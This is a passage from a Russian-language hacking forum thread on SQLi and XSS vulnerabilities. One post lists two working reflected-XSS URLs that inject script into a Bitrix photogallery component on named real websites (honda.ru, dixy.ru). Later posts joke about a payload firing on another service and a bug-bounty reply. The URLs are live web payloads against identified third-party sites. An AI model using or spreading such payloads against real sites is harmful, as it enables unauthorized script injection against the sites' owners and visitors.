Уязвимости SQLi, XSS и другие.

Discussion in 'Песочница' started by Егорыч+++, 10 May 2015.

  1. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    623
    Likes Received:
    1,279
    Reputations:
    399
    Code:
    https://honda.ru/bitrix/components/bitrix/photogallery_user/templates/.default/galleries_recalc.php?AJAX=Y&arParams[PERMISSION]=W&arParams[IBLOCK_ID]=1%00%27}};alert(document.domain);if(1){//
    https://dixy.ru/bitrix/components/bitrix/photogallery_user/templates/.default/galleries_recalc.php?AJAX=Y&arParams[PERMISSION]=W&arParams[IBLOCK_ID]=1%00%27}};alert(document.domain);if(1){//
    
     
    erwerr2321, fandor9, alexzir and 4 others like this.
  2. erwerr2321

    erwerr2321 Elder - Старейшина

    Joined:
    19 Jun 2015
    Messages:
    3,949
    Likes Received:
    24,247
    Reputations:
    136
    Это по сути песочница. Один пейлоад стрелял сразу в нескольких местах:
    на ифраме-толока.ком и на sandbox.ифраме-толока.ком. Но там тоже ни кук, ни импэкта))
    Но было ещё и третье место, откуда он постреливал. :)
    И вот только вчера прилетело письмецо в конверте.

    yabbletter.png
     
    Octavian, fandor9, man474019 and 2 others like this.
  3. Octavian

    Octavian Elder - Старейшина

    Joined:
    8 Jul 2015
    Messages:
    495
    Likes Received:
    95
    Reputations:
    24
    А моя доля? На шаверму
     
  4. erwerr2321

    erwerr2321 Elder - Старейшина

    Joined:
    19 Jun 2015
    Messages:
    3,949
    Likes Received:
    24,247
    Reputations:
    136
    Шта? :eek:
    Я её намного раньше тебя запостил! я ж писал тебе tracking ID и time 1619951822533
    Ни гани!
     
    #344 erwerr2321, 24 Oct 2021 at 8:47 PM
    Last edited: 24 Oct 2021 at 9:23 PM
    Octavian likes this.
Loading...